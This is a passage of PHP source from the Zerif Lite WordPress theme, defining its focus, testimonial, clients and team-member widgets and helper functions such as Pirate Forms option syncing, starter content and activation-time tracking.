echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $instance['image_uri'] ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_ourfocus_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_ourfocus_custom_media_id ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
_e( 'Go to', 'zerif-lite' );
echo apply_filters( 'widget_title', $instance['title'] );
echo '</span>';
}
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</a>';
} else {
echo '<div class="service-icon" tabindex="0">';
echo '<i class="pixeden" style="background:url(' . esc_url( $zerif_ourfocus_custom_media_id ) . ') no-repeat center;width:100%; height:100%;"></i>';
echo '</div>';
}
}
}
echo '<h3 class="red-border-bottom">';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</h3>';
if ( ! empty( $instance['text'] ) ) {
echo '<p>' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</p>';
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widgets instance
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Widget controls
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Title', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_testimonial_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Testimonial widget
*/
class zerif_testimonial_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_testim-widget',
__( 'Zerif - Testimonial widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
$zerif_accessibility = get_theme_mod( 'zerif_accessibility' );
// open link in a new tab when checkbox "accessibility" is not ticked
$attribut_new_tab = ( isset( $zerif_accessibility ) && ( $zerif_accessibility != 1 ) ? ' target="_blank"' : '' );
echo $args['before_widget'];
if ( ! empty( $instance['text'] ) ) {
echo '<div class="message">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['text'] ) ) . '</div>';
}
echo '<div class="client">';
echo '<div class="quote red-text">';
echo '<i class="fa fa-quote-left"></i>';
echo '</div>';
echo '<div class="client-info">';
echo '<a ' . $attribut_new_tab . ' class="client-name"';
if ( ! empty( $instance['link'] ) ) {
echo 'href="' . esc_url( $instance['link'] ) . '"';
}
echo '>';
if ( ! empty( $instance['title'] ) ) {
echo apply_filters( 'widget_title', $instance['title'] );
}
echo '</a>';
if ( ! empty( $instance['details'] ) ) {
echo '<div class="client-company">' . apply_filters( 'widget_title', $instance['details'] ) . '</div>';
}
echo '</div>';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="" />';
echo '</div>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_testimonials_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_testimonials_custom_media_id ) ) {
echo '<div class="client-image hidden-xs">';
echo '<img src="' . esc_url( $zerif_testimonials_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '" />';
echo '</div>';
}
}
echo '</div>';
echo $args['after_widget'];
}
/**
* Update widget's values
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['text'] = stripslashes( wp_filter_post_kses( $new_instance['text'] ) );
$instance['title'] = sanitize_text_field( $new_instance['title'] );
$instance['details'] = sanitize_text_field( $new_instance['details'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['link'] = esc_url( $new_instance['link'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'title' ) . '">' . __( 'Author', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'title' ) . '" id="' . $this->get_field_id( 'title' ) . '" value="';
if ( ! empty( $instance['title'] ) ) {
echo $instance['title'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Author link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo esc_url( $instance['link'] );
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'details' ) . '">' . __( 'Author details', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'details' ) . '" id="' . $this->get_field_id( 'details' ) . '" value="';
if ( ! empty( $instance['details'] ) ) {
echo $instance['details'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'text' ) . '">' . __( 'Text', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'text' ) . '" id="' . $this->get_field_id( 'text' ) . '">';
if ( ! empty( $instance['text'] ) ) {
echo htmlspecialchars_decode( $instance['text'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_clients_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Clients widget
*/
class zerif_clients_widget extends WP_Widget {
/**
* Constructor
*/
public function __construct() {
parent::__construct(
'zerif_clients-widget',
__( 'Zerif - Clients widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widgets scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Widget instance
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<a href="';
if ( ! empty( $instance['link'] ) ) {
echo apply_filters( 'widget_title', $instance['link'] );
}
echo '">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_clients_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
if ( ! empty( $zerif_clients_custom_media_id ) ) {
echo '<img src="' . esc_url( $zerif_clients_custom_media_id ) . '" alt="' . __( 'Client', 'zerif-lite' ) . '">';
}
}
echo '</a>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['link'] = esc_url( $new_instance['link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'link' ) . '">' . __( 'Link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'link' ) . '" id="' . $this->get_field_id( 'link' ) . '" value="';
if ( ! empty( $instance['link'] ) ) {
echo $instance['link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_team_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Team member widget
*/
class zerif_team_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_team-widget',
__( 'Zerif - Team member widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widget scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Instance widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 team-box">';
echo '<div class="team-member" tabindex="0">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt=""/>';
echo '</figure>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_team_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_team_custom_media_id ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $zerif_team_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '"/>';
echo '</figure>';
}
}
echo '<div class="member-details">';
if ( ! empty( $instance['name'] ) ) {
echo '<h3 class="dark-text red-border-bottom">' . apply_filters( 'widget_title', $instance['name'] ) . '</h3>';
}
if ( ! empty( $instance['position'] ) ) {
echo '<div class="position">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['position'] ) ) . '</div>';
}
echo '</div>';
echo '<div class="social-icons">';
echo '<ul>';
$zerif_team_target = '_self';
if ( ! empty( $instance['open_new_window'] ) ) {
$zerif_team_target = '_blank';
}
if ( ! empty( $instance['fb_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['fb_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Facebook link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-facebook"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['tw_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['tw_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Twitter link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-twitter"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['bh_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['bh_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Behance link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-behance"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['db_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['db_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Dribble link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-dribbble"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['ln_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['ln_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Linkedin link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-linkedin"></i>';
echo '</a>';
echo '</li>';
}
echo '</ul>';
echo '</div>';
if ( ! empty( $instance['description'] ) ) {
echo '<div class="details">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['description'] ) ) . '</div>';
}
echo '</div>';
echo '</div>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['name'] = sanitize_text_field( $new_instance['name'] );
$instance['position'] = stripslashes( wp_filter_post_kses( $new_instance['position'] ) );
$instance['description'] = stripslashes( wp_filter_post_kses( $new_instance['description'] ) );
$instance['fb_link'] = esc_url( $new_instance['fb_link'] );
$instance['tw_link'] = esc_url( $new_instance['tw_link'] );
$instance['bh_link'] = esc_url( $new_instance['bh_link'] );
$instance['db_link'] = esc_url( $new_instance['db_link'] );
$instance['ln_link'] = esc_url( $new_instance['ln_link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['open_new_window'] = strip_tags( $new_instance['open_new_window'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'name' ) . '">' . __( 'Name', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'name' ) . '" id="' . $this->get_field_id( 'name' ) . '" value="';
if ( ! empty( $instance['name'] ) ) {
echo $instance['name'];
}
echo '" class="widefat"/>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'position' ) . '">' . __( 'Position', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'position' ) . '" id="' . $this->get_field_id( 'position' ) . '">';
if ( ! empty( $instance['position'] ) ) {
echo htmlspecialchars_decode( $instance['position'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'description' ) . '">' . __( 'Description', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'description' ) . '" id="' . $this->get_field_id( 'description' ) . '">';
if ( ! empty( $instance['description'] ) ) {
echo htmlspecialchars_decode( $instance['description'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'fb_link' ) . '">' . __( 'Facebook link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'fb_link' ) . '" id="' . $this->get_field_id( 'fb_link' ) . '" value="';
if ( ! empty( $instance['fb_link'] ) ) {
echo $instance['fb_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'tw_link' ) . '">' . __( 'Twitter link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'tw_link' ) . '" id="' . $this->get_field_id( 'tw_link' ) . '" value="';
if ( ! empty( $instance['tw_link'] ) ) {
echo $instance['tw_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'bh_link' ) . '">' . __( 'Behance link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'bh_link' ) . '" id="' . $this->get_field_id( 'bh_link' ) . '" value="';
if ( ! empty( $instance['bh_link'] ) ) {
echo $instance['bh_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'db_link' ) . '">' . __( 'Dribble link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'db_link' ) . '" id="' . $this->get_field_id( 'db_link' ) . '" value="';
if ( ! empty( $instance['db_link'] ) ) {
echo $instance['db_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'ln_link' ) . '">' . __( 'Linkedin link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'ln_link' ) . '" id="' . $this->get_field_id( 'ln_link' ) . '" value="';
if ( ! empty( $instance['ln_link'] ) ) {
echo $instance['ln_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<input type="checkbox" name="' . $this->get_field_name( 'open_new_window' ) . '" id="' . $this->get_field_id( 'open_new_window' ) . '"';
if ( ! empty( $instance['open_new_window'] ) ) {
checked( (bool) $instance['open_new_window'], true );
}
echo '>' . __( 'Open links in new window?', 'zerif-lite' ) . '<br>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
/**
* Register CSS needed in customizer
*/
function zerif_customizer_custom_css() {
wp_enqueue_style( 'zerif_customizer_custom_css', get_template_directory_uri() . '/css/zerif_customizer_custom_css.css' );
}
add_action( 'customize_controls_print_styles', 'zerif_customizer_custom_css' );
add_filter( 'body_class', 'remove_class_function' );
/**
* Remove custom-background from body_class()
*/
function remove_class_function( $classes ) {
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
/* For new users with static page */
if ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) {
if ( ! is_front_page() && ! is_home() ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
} else {
if ( ! is_home() && ! is_page_template( 'template-frontpage.php' ) ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
}
return $classes;
}
add_action( 'customize_save_after', 'zerif_lite_update_options_in_pirate_forms', 99 );
/**
* Update Pirate Forms plugin when there is a change in Customizer Contact us section
*/
function zerif_lite_update_options_in_pirate_forms() {
/* if Pirate Forms is installed */
if ( defined( 'PIRATE_FORMS_VERSION' ) ) :
$zerif_lite_current_mods = get_theme_mods(); /* all theme modification values in Customize for Zerif Lite */
$pirate_forms_settings_array = get_option( 'pirate_forms_settings_array' ); /* Pirate Forms's options's array */
if ( ! empty( $zerif_lite_current_mods ) ) :
if ( isset( $zerif_lite_current_mods['zerif_contactus_button_label'] ) ) :
$pirate_forms_settings_array['pirateformsopt_label_submit_btn'] = $zerif_lite_current_mods['zerif_contactus_button_label'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_email'] ) ) :
$pirate_forms_settings_array['pirateformsopt_email'] = $zerif_lite_current_mods['zerif_contactus_email'];
$pirate_forms_settings_array['pirateformsopt_email_recipients'] = $zerif_lite_current_mods['zerif_contactus_email'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] ) && ( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] == 1 ) ) :
if ( isset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] ) ) :
unset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] );
endif;
else :
$pirate_forms_settings_array['pirateformsopt_recaptcha_field'] = 'yes';
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_sitekey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_sitekey'] = $zerif_lite_current_mods['zerif_contactus_sitekey'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_secretkey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_secretkey'] = $zerif_lite_current_mods['zerif_contactus_secretkey'];
endif;
endif;
if ( ! empty( $pirate_forms_settings_array ) ) :
update_option( 'pirate_forms_settings_array', $pirate_forms_settings_array ); /* Update the options */
endif;
endif;
}
/**
* Function to check if version 1.8.5 or less has been previously installed.
*/
function zerif_check_if_old_version_of_theme() {
$old_zerif_option = get_theme_mod( 'zerif_bigtitle_title' );
$old_zerif_option_2 = get_theme_mod( 'zerif_bigtitle_redbutton_label' );
$old_zerif_option_3 = get_theme_mod( 'zerif_ourfocus_title' );
if ( ! empty( $old_zerif_option ) || ! empty( $old_zerif_option_2 ) || ! empty( $old_zerif_option_3 ) ) {
return true;
}
return false;
}
/**
* Add starter content for fresh sites
*
* @since 1.8.5.12
*/
function zerif_starter_content() {
/*
* Starter Content Support
*/
add_theme_support(
'starter-content',
array(
// Twenty Seventeen
'posts' => array(
'home',
'blog',
),
'nav_menus' => array(
'primary' => array(
'name' => __( 'Primary Menu', 'zerif-lite' ),
'items' => array(
'page_home',
'page_blog',
),
),
),
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
)
);
}
add_action( 'after_setup_theme', 'zerif_starter_content' );
/**
* Save activation time.
*/
function zerif_time_activated() {
update_option( 'zerif_time_activated', time() );
}
add_action( 'after_switch_theme', 'zerif_time_activated' );
/**
* BeaverBuilder Upgrade
*/
function zerif_bb_upgrade_link() {
return 'https://www.wpbeaverbuilder.com/?fla=101&campaign=zf';
}
add_filter( 'fl_builder_upgrade_url', 'zerif_bb_upgrade_link' );
/**
* Check if $no_seconds have passed since theme was activated.
* Used to perform certain actions, like adding a new recommended action in About Zerif page.
*
